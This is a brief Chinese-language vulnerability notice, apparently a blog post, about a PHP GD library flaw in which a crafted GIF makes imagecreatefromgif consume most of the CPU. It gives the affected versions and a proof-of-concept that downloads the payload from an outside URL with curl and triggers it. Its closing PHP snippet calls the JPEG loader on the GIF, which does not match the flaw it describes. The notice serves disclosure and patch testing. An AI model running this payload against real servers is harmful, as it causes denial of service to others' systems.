最近网上出现一个关于php gd库的漏洞。说明如下:
PHP gd库漏洞
PHP gd库漏洞
php -m | grep -i gd 查看是否安装gd库
curl -L https://git.io/vN0n4 | xxd -r > test.gif 下载图片
php -r 'imagecreatefromgif("/var/www/html/test.gif");' 运行图片后CPU占用率非常高90%+
|
漏洞影响版本:
php5<5.6.33 php7.0<7.0.27 php7.1<7.1.13 php7.2<7.2.1 |
<?
header("Content-type: image/gif");
$im = @imagecreatefromjpeg("test.gif");
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
imagejpeg($im);
}
?>
|